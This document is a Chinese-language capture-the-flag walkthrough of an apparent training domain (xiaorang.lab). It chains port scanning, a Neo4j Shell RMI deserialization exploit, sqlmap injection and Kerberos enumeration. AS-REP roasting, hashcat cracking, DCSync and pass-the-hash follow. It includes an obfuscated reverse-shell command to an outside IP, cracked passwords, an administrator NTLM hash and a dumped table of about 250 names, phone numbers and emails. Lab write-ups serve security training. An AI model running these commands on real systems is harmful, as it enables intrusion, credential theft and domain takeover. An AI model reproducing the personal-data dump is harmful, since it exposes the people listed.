1337 neo4j数据库
fscan -h 39.99.230.96 -p 1-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 39.99.230.96 is alive
[*] Icmp alive hosts len is: 1
39.99.230.96:22 open
39.99.230.96:1337 open
39.99.230.96:7474 open
39.99.230.96:7473 open
39.99.230.96:7687 open
39.99.230.96:36671 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle: http://39.99.230.96:7474 code:303 len:0 title:None 跳转url: http://39.99.230.96:7474/browser/
[*] WebTitle: http://39.99.230.96:7474/browser/ code:200 len:3279 title:Neo4j Browser
[*] WebTitle: https://39.99.230.96:7473 code:303 len:0 title:None 跳转url: https://39.99.230.96:7473/browser/
[*] WebTitle: https://39.99.230.96:7687 code:400 len:50 title:None
[*] WebTitle: https://39.99.230.96:7473/browser/ code:200 len:3279 title:Neo4j Browser
还得是fscan啊哥们
在Neo4j 3.4.18及以前，如果开启了Neo4j Shell接口，攻击者将可以通过RMI协议以未授权的身份调用任意方法，其中setSessionVariable方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化，所以不受到Java版本的影响。
在Neo4j 3.5及之后的版本，Neo4j Shell被Cyber Shell替代。
java -jar rhino_gadget.jar rmi://39.99.230.96:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0OS4xNDIuMTk1Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
Do you know the authentication process of Kerberos?
......This will be the key to your progress.
(icmp) Target 172.22.6.12 is alive DC-PROGAME.xiaorang.lab
(icmp) Target 172.22.6.36 is alive 本机
(icmp) Target 172.22.6.25 is alive XIAORANG\WIN2019
(icmp) Target 172.22.6.38 is alive
[*] WebTitle: http://172.22.6.38 code:200 len:1531 title:后台登录
38还有个web啊
打这个web
是个sql注入
POST /index.php HTTP/1.1
Host: 172.22.6.38
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://172.22.6.38
Connection: close
Referer: http://172.22.6.38/
Upgrade-Insecure-Requests: 1
username=admin&password=123456
直接sqlmap吧
sqlmap -r sql.txt2
sqlmap -r sql.txt2 --dbs
sqlmap -r sql.txt2 -D oa_db --tables
sqlmap -r sql.txt2 -D oa_db -T oa_f1Agggg --columns
sqlmap -r sql.txt2 -D oa_db -T oa_admin --columns
sqlmap -r sql.txt2 -D oa_db -T oa_f1Agggg -C flag02 --dump
sqlmap -r sql.txt2 -D oa_db -T oa_admin -C password,username --dump
+--------------------------------------------+
| flag02 |
+--------------------------------------------+
| flag{b142f5ce-d9b8-4b73-9012-ad75175ba029} |
+--------------------------------------------+
+------------------+---------------+
| password | username |
+------------------+---------------+
| bo2y8kAL3HnXUiQo | administrator |
+------------------+---------------+
+-----+----------------------------+-------------+-----------------+
| id | email | phone | username |
+-----+----------------------------+-------------+-----------------+
[22:19:06] [WARNING] console output will be trimmed to last 256 rows due to large table size
| 245 | [email protected] | 18281528743 | CHEN YAN |
| 246 | [email protected] | 18060615547 | TANG GUI |
| 247 | [email protected] | 13046481392 | BU NING |
| 248 | [email protected] | 18268508400 | BEI SHU |
| 249 | [email protected] | 17770383196 | SHU SHI |
| 250 | [email protected] | 18902082658 | FU YI |
| 251 | [email protected] | 18823789530 | PANG CHENG |
| 252 | [email protected] | 13370873526 | TONG HAO |
| 253 | [email protected] | 15375905173 | JIAO SHAN |
| 254 | [email protected] | 13352331157 | DU LUN |
| 255 | [email protected] | 13222550481 | KE JUAN |
| 256 | [email protected] | 18181553086 | GE XIN |
| 257 | [email protected] | 18793883130 | LU GU |
| 258 | [email protected] | 15309377043 | GU ZAI CHENG |
| 259 | [email protected] | 13077435367 | FEI CAI |
| 260 | [email protected] | 18239164662 | RAN QUN |
| 261 | [email protected] | 13169264671 | ZHOU YI |
| 262 | [email protected] | 18592890189 | SHI SHU |
| 263 | [email protected] | 15071085768 | YAN YUN |
| 264 | [email protected] | 13370162980 | CHENG QIU |
| 265 | [email protected] | 13593582379 | LOU YOU |
| 266 | [email protected] | 15235945624 | MA QUN |
| 267 | [email protected] | 13620643639 | WEN BIAO |
| 268 | [email protected] | 18670502260 | WEI SHENG SHAN |
| 269 | [email protected] | 15763185760 | ZHANG XIN |
| 270 | [email protected] | 18420545268 | CHU YUAN |
| 271 | [email protected] | 13601678032 | WEN LIANG |
| 272 | [email protected] | 18304374901 | YU LV XUE |
| 273 | [email protected] | 18299785575 | LU YUE |
| 274 | [email protected] | 18906111021 | GAN JIAN |
| 275 | [email protected] | 13479328562 | PANG ZHEN |
| 276 | [email protected] | 18510220597 | GUO HONG |
| 277 | [email protected] | 15320909285 | LE ZHONG |
| 278 | [email protected] | 13736399596 | SHE WEI YUE |
| 279 | [email protected] | 15058892639 | DU JIAN |
| 280 | [email protected] | 18447207007 | LI DONG JIN |
| 281 | [email protected] | 15858462251 | HONG QUN |
| 282 | [email protected] | 13719043564 | YE XING |
| 283 | [email protected] | 13878840690 | MAO DA |
| 284 | [email protected] | 13053207462 | QIAO MEI |
| 285 | [email protected] | 15227699960 | NONG ZHEN |
| 286 | [email protected] | 15695562947 | DONG SHU |
| 287 | [email protected] | 13070163385 | ZHU ZHU |
| 288 | [email protected] | 13987332999 | JI YUN |
| 289 | [email protected] | 15605983582 | QI GUAN ROU |
| 290 | [email protected] | 18451603140 | YI XUE |
| 291 | [email protected] | 15854942459 | CHU JUN |
| 292 | [email protected] | 17712052191 | SHEN SHAN |
| 293 | [email protected] | 13271196544 | LE FEN |
| 294 | [email protected] | 13462202742 | YU BO |
| 295 | [email protected] | 15383000907 | HE LIAN RUI |
| 296 | [email protected] | 18843916267 | XUAN QUN |
| 297 | [email protected] | 15162486698 | SHANG JUN |
| 298 | [email protected] | 18100586324 | HU GUANG |
| 299 | [email protected] | 18494761349 | WAN SI FU |
| 300 | [email protected] | 13536727314 | FENG HONG |
| 301 | [email protected] | 17890844429 | WAN YAN |
| 302 | [email protected] | 18534028047 | DI YAN |
| 303 | [email protected] | 13834043047 | XIANG YU |
| 304 | [email protected] | 15282433280 | SONG YAN |
| 305 | [email protected] | 15846960039 | FAN DI |
| 306 | [email protected] | 18120327434 | XIANG JUAN |
| 307 | [email protected] | 18908661803 | BEI RUI |
| 308 | [email protected] | 13413041463 | DI DI |
| 309 | [email protected] | 15909558554 | ZHU BIN |
| 310 | [email protected] | 13022790678 | LING CHUN |
| 311 | [email protected] | 13248244873 | ZHENG LU |
| 312 | [email protected] | 18358493414 | XUN DI |
| 313 | [email protected] | 18985028319 | WAN SI SHUN |
| 314 | [email protected] | 13866302416 | YE ZONG YUE |
| 315 | [email protected] | 18540879992 | BIAN MEI |
| 316 | [email protected] | 18791488918 | SHAN SHAO |
| 317 | [email protected] | 13736784817 | ZHEN HUI |
| 318 | [email protected] | 15913267394 | CHENG LI |
| 319 | [email protected] | 18432795588 | YU FEN |
| 320 | [email protected] | 13574211454 | JI YI |
| 321 | [email protected] | 13675851303 | PAN BAO |
| 322 | [email protected] | 15629706208 | MEN NAN E |
| 323 | [email protected] | 13333432577 | FENG SI |
| 324 | [email protected] | 18296909463 | MING YAN |
| 325 | [email protected] | 15759321415 | LUO YOU |
| 326 | [email protected] | 13150744785 | LIANG DUAN QING |
| 327 | [email protected] | 18097386975 | NONG YAN |
| 328 | [email protected] | 15152700465 | HAO LUN |
| 329 | [email protected] | 13402760696 | OU LUN |
| 330 | [email protected] | 18057058937 | WEI CHI PENG |
| 331 | [email protected] | 18728297829 | QI DIAO FANG |
| 332 | [email protected] | 13398862169 | XUE HE |
| 333 | [email protected] | 18030178713 | CHEN SI |
| 334 | [email protected] | 17882514129 | GUI HUI |
| 335 | [email protected] | 18298436549 | FU YUE |
| 336 | [email protected] | 17763645267 | WANG XING |
| 337 | [email protected] | 18673968392 | ZHENG XIAO |
| 338 | [email protected] | 15166711352 | GU HUI |
| 339 | [email protected] | 15837430827 | BAO AI |
| 340 | [email protected] | 13235488232 | HANG ZHAO |
| 341 | [email protected] | 13367587521 | XING YE |
| 342 | [email protected] | 18657807767 | QIAN YI |
| 343 | [email protected] | 17725874584 | XIONG HONG |
| 344 | [email protected] | 15300430128 | ZOU QI |
| 345 | [email protected] | 13034242682 | RONG BIAO |
| 346 | [email protected] | 15595839880 | GONG XIN |
| 347 | [email protected] | 18318675030 | LU XING |
| 348 | [email protected] | 13011805354 | HUA YAN |
| 349 | [email protected] | 15515878208 | DU YUE |
| 350 | [email protected] | 17871583183 | XI JUN |
| 351 | [email protected] | 18033226216 | DAI QING |
| 352 | [email protected] | 18633421863 | YING BIAO |
| 353 | [email protected] | 15956780740 | HENG TENG |
| 354 | [email protected] | 15251485251 | CHANG WU |
| 355 | [email protected] | 18788248715 | CHENG YING |
| 356 | [email protected] | 17766091079 | LU HONG |
| 357 | [email protected] | 18466102780 | TONG XUE |
| 358 | [email protected] | 13279611385 | XIANG QIAN |
| 359 | [email protected] | 18042645434 | SHAO KANG |
| 360 | [email protected] | 13934236634 | NONG ZHU |
| 361 | [email protected] | 13406913218 | HAO MEI |
| 362 | [email protected] | 15713298425 | MAO QING |
| 363 | [email protected] | 18148404789 | XI AI |
| 364 | [email protected] | 13628593791 | BI HE |
| 365 | [email protected] | 15814408188 | GAO LI |
| 366 | [email protected] | 15951118926 | JIANG GONG |
| 367 | [email protected] | 13443921700 | PANG NING |
| 368 | [email protected] | 15803112819 | RUI SHI |
| 369 | [email protected] | 13646953078 | WU HUAN |
| 370 | [email protected] | 13543564200 | QIAO DE |
| 371 | [email protected] | 15622971484 | MA YONG |
| 372 | [email protected] | 15937701659 | HANG DA |
| 373 | [email protected] | 13734991654 | CHANG LU |
| 374 | [email protected] | 15862054540 | LIU YUAN |
| 375 | [email protected] | 15706685526 | CHENG GU |
| 376 | [email protected] | 15816902379 | SHEN TU YUN |
| 377 | [email protected] | 17810274262 | ZHUANG SONG |
| 378 | [email protected] | 18822001640 | CHU SHAO |
| 379 | [email protected] | 13701347081 | HE LI |
| 380 | [email protected] | 15049615282 | HAO MING |
| 381 | [email protected] | 17840660107 | XIE YI |
| 382 | [email protected] | 15025010410 | SHANG JIE |
| 383 | [email protected] | 18999728941 | SI TU XIN |
| 384 | [email protected] | 18052976097 | LIN XI |
| 385 | [email protected] | 15264535633 | ZOU FU |
| 386 | [email protected] | 18668594658 | QIAN QING |
| 387 | [email protected] | 18154690198 | QI AI |
| 388 | [email protected] | 13654483014 | RUI LIN |
| 389 | [email protected] | 15867095032 | LUO MENG |
| 390 | [email protected] | 13307653720 | HUA REN |
| 391 | [email protected] | 15514015453 | YAN YANG MEI |
| 392 | [email protected] | 15937087078 | ZUO FEN |
| 393 | [email protected] | 18316106061 | MAN YUAN |
| 394 | [email protected] | 18058257228 | YU HUI |
| 395 | [email protected] | 18233801124 | SUN LI |
| 396 | [email protected] | 13607387740 | GUAN SI XIN |
| 397 | [email protected] | 13306021674 | RUI SONG |
| 398 | [email protected] | 13257810331 | QI RUO |
| 399 | [email protected] | 18565922652 | JIN YU |
| 400 | [email protected] | 18512174415 | SHOU JUAN |
| 401 | [email protected] | 13799789435 | YAN QIAN |
| 402 | [email protected] | 18925015029 | CHANG YUN |
| 403 | [email protected] | 13641470801 | HUA LU |
| 404 | [email protected] | 15903282860 | HUAN MING |
| 405 | [email protected] | 13795275611 | BAO SHAO |
| 406 | [email protected] | 13243605925 | HONG MEI |
| 407 | [email protected] | 13238107359 | MAN YUN |
| 408 | [email protected] | 13642205622 | CHANG WAN |
| 409 | [email protected] | 13242486231 | WANG YAN |
| 410 | [email protected] | 15515077573 | SHI JIAN |
| 411 | [email protected] | 18157706586 | RUI BEI |
| 412 | [email protected] | 18858376544 | JING SHAO |
| 413 | [email protected] | 18902437082 | JIN ZHI |
| 414 | [email protected] | 15215599294 | YU HUI |
| 415 | [email protected] | 18567574150 | ZANG PENG |
| 416 | [email protected] | 15804640736 | CHANG YUN |
| 417 | [email protected] | 13400150018 | YE TAI |
| 418 | [email protected] | 18962643265 | LUO XUE |
| 419 | [email protected] | 18042706956 | MO QIAN |
| 420 | [email protected] | 15881934759 | XU PENG |
| 421 | [email protected] | 15049703903 | RUAN YONG |
| 422 | [email protected] | 18674282714 | GU LIANG XIAN |
| 423 | [email protected] | 15734030492 | YIN BIN |
| 424 | [email protected] | 17699257041 | HUA RUI |
| 425 | [email protected] | 13915041589 | NIU YA |
| 426 | [email protected] | 13584571917 | GU WEI |
| 427 | [email protected] | 18427953434 | QIN GUAN |
| 428 | [email protected] | 15215900100 | YANG DAN HAN |
| 429 | [email protected] | 13383367818 | YING JUN |
| 430 | [email protected] | 13132069353 | WEI WAN |
| 431 | [email protected] | 15737981701 | SUN DUAN GU |
| 432 | [email protected] | 18021600640 | SI SI WU |
| 433 | [email protected] | 13312613990 | NONG YAN |
| 434 | [email protected] | 13005748230 | XUAN LU |
| 435 | [email protected] | 15326746780 | YUN ZHONG |
| 436 | [email protected] | 13905027813 | GENG FEI |
| 437 | [email protected] | 13159301262 | ZI ZHUAN SONG |
| 438 | [email protected] | 18353612904 | GAN BAI LONG |
| 439 | [email protected] | 15164719751 | SHEN JIAO |
| 440 | [email protected] | 18707028470 | ZANG YAO |
| 441 | [email protected] | 18684281105 | YANG DAN HE |
| 442 | [email protected] | 13314617161 | CHENG LIANG |
| 443 | [email protected] | 18498838233 | XU DI |
| 444 | [email protected] | 18350490780 | WU LUN |
| 445 | [email protected] | 18835870616 | YU LING |
| 446 | [email protected] | 18494928860 | TAO YA |
| 447 | [email protected] | 15329208123 | JIN LE |
| 448 | [email protected] | 13332964189 | YOU CHAO |
| 449 | [email protected] | 15675237494 | LIANG DUAN ZHI |
| 450 | [email protected] | 17884962455 | JIA GU PIAO |
| 451 | [email protected] | 17753508925 | GAN ZE |
| 452 | [email protected] | 15802357200 | JIANG QING |
| 453 | [email protected] | 13831466303 | JIN SHAN |
| 454 | [email protected] | 13690156563 | ZHENG PU BEI |
| 455 | [email protected] | 17641589842 | CUI CHENG |
| 456 | [email protected] | 13485427829 | QI YONG |
| 457 | [email protected] | 18838859844 | QI ZHU |
| 458 | [email protected] | 18092585003 | GAN JIAN |
| 459 | [email protected] | 15764121637 | YU RUI |
| 460 | [email protected] | 18471512248 | FEI SHU |
| 461 | [email protected] | 13906545512 | CHEN XIN |
| 462 | [email protected] | 18936457394 | SHENG ZHE |
| 463 | [email protected] | 18404022650 | WO HONG |
| 464 | [email protected] | 15973350408 | MAN ZHI |
| 465 | [email protected] | 13233908989 | XIANG DONG |
| 466 | [email protected] | 15035834945 | WEI HUI |
| 467 | [email protected] | 18304752969 | XING QUAN |
| 468 | [email protected] | 15121570939 | MIAO SHU |
| 469 | [email protected] | 18233990398 | GONG WAN |
| 470 | [email protected] | 15631483536 | QI JIE |
| 471 | [email protected] | 15971628914 | SHAO TING |
| 472 | [email protected] | 18938747522 | XI QI |
| 473 | [email protected] | 18168293686 | JING HONG |
| 474 | [email protected] | 18841322688 | QIAN YOU |
| 475 | [email protected] | 15819380754 | CHU HUA |
| 476 | [email protected] | 18702474361 | YAN YUE |
| 477 | [email protected] | 13006878166 | HUANG JIA |
| 478 | [email protected] | 13545820679 | ZHOU CHUN |
| 479 | [email protected] | 18650881187 | JI YU |
| 480 | [email protected] | 17815264093 | WEN DONG |
| 481 | [email protected] | 18710821773 | HE YUAN |
| 482 | [email protected] | 18698248638 | MA ZHEN |
| 483 | [email protected] | 15241369178 | SHOU CHUN |
| 484 | [email protected] | 18530936084 | LIU ZHE |
| 485 | [email protected] | 15812110254 | FENG BO |
| 486 | [email protected] | 15943349034 | TAI GONG YUAN |
| 487 | [email protected] | 18278508909 | GE SHENG |
| 488 | [email protected] | 13220512663 | SONG MING |
| 489 | [email protected] | 15505678035 | YU WAN |
| 490 | [email protected] | 13052582975 | DIAO WEI |
| 491 | [email protected] | 18036808394 | YOU YI |
| 492 | [email protected] | 18839918955 | RONG XIAN YU |
| 493 | [email protected] | 15632151678 | FU YI |
| 494 | [email protected] | 17883399275 | LIN LI |
| 495 | [email protected] | 18672465853 | WEI XUE |
| 496 | [email protected] | 13256081102 | HE JUAN |
| 497 | [email protected] | 18093001354 | ZUO QIU TAI |
| 498 | [email protected] | 17873307773 | SI YI |
| 499 | [email protected] | 18397560369 | SHEN SHAN |
| 500 | [email protected] | 15177549595 | TONG DONG |
+-----+----------------------------+-------------+-----------------+
应该是枚举
kerbrute_darwin userenum --dc 172.22.6.12 -d xiaorang.lab userlist.txt -o output
再跑AS-REP Roasting
p4 python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile /tmp/user.txt xiaorang.lab/
跑到了两组
[email protected]:eb0833a69063bc91a689b4f2e41e67c0$31cf96f5dfd8eac8eadc760a9ef5d187265823599915e1547b4d8b794c9b329a3e87cd998aa44c505a30fa911c208231780fa2bdf6888f1e161d5fd8d64e271fdb58633c7e152d39443ece47cbc7ecc26a839be8c6af1e8219715010acd7ac6a3df6543859f195bec6d2d5f7d874e424a682487fc8db927afa6c834b48f0f95c918c2e4523a5d32761d31702ff7c8f43da9bf15a4d36d48ae5afa2fac8ff7ccfef0f406e917690b104f54600da3f27c408c21a8b410cba87fcffc570a1fa79b9a19f9bba608660d15807c11df18cb7d68ce27432d18f69acbbf426bb5f3efa323dd360bb6eae6aef25b2c6f8
[email protected]:5d476597d0fb698565db5b8d5139a5a9$95fd0dd7ae19975708d124fdf6ff2ab960a2ea7b9386f95203ec07bae07fee7fe4bddf6152a5159e7177494793c91b6602b6afa936e158c2003370a445de9ae36014a6b366d1858c77615b44ed7609ee43233ec9001dfe338fa4dd53ed5aecdb78df089691f0a3bb7232d33f83d4d157307b5bd4b3452f936681632680fb3127408b8509627f65d5d4bd42b82abab50010634faa5750068b5dd6e506343b8e9ae95ee7e1399b1c82f8173b0ab823ac722910ff279fdd1e4517df429ad72253895cc814290ed74f82114c916e36b84b18d9199197a58b677c37347bb87b8ef33ed5fcb46e944bf26926434c81
分别hashcat
[email protected]:5d476597d0fb698565db5b8d5139a5a9$95fd0dd7ae19975708d124fdf6ff2ab960a2ea7b9386f95203ec07bae07fee7fe4bddf6152a5159e7177494793c91b6602b6afa936e158c2003370a445de9ae36014a6b366d1858c77615b44ed7609ee43233ec9001dfe338fa4dd53ed5aecdb78df089691f0a3bb7232d33f83d4d157307b5bd4b3452f936681632680fb3127408b8509627f65d5d4bd42b82abab50010634faa5750068b5dd6e506343b8e9ae95ee7e1399b1c82f8173b0ab823ac722910ff279fdd1e4517df429ad72253895cc814290ed74f82114c916e36b84b18d9199197a58b677c37347bb87b8ef33ed5fcb46e944bf26926434c81:strawberry
[email protected]:eb0833a69063bc91a689b4f2e41e67c0$31cf96f5dfd8eac8eadc760a9ef5d187265823599915e1547b4d8b794c9b329a3e87cd998aa44c505a30fa911c208231780fa2bdf6888f1e161d5fd8d64e271fdb58633c7e152d39443ece47cbc7ecc26a839be8c6af1e8219715010acd7ac6a3df6543859f195bec6d2d5f7d874e424a682487fc8db927afa6c834b48f0f95c918c2e4523a5d32761d31702ff7c8f43da9bf15a4d36d48ae5afa2fac8ff7ccfef0f406e917690b104f54600da3f27c408c21a8b410cba87fcffc570a1fa79b9a19f9bba608660d15807c11df18cb7d68ce27432d18f69acbbf426bb5f3efa323dd360bb6eae6aef25b2c6f8:hellokitty
好快
[email protected] strawberry
[email protected] hellokitty
下一步打yuxuan
viper上线就不讲了
然后msf抓自动登录的密码
yuxuan:Yuxuan7QbrgZ3L
是winpeas抓出来的哇
rdp上去,根据之前哪个图有Hashistory
HasSIDHistory：用户的SID历史记录，用户在域迁移后，票据还包含着前域所在组的SID，虽然用户不属于前域，但仍拥有前域的权限
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
抓hash
04d93ffd6f5f6e4490e0de23f240a5e9
都抓到hash了,现在我是admin了
p4 impacket-wmiexec XIAORANG/[email protected] -hashes :04d93ffd6f5f6e4490e0de23f240a5e9
p4 impacket-wmiexec XIAORANG/[email protected] -hashes :04d93ffd6f5f6e4490e0de23f240a5e9
两个hash传递就拿下了
这集比较清晰啊,爽了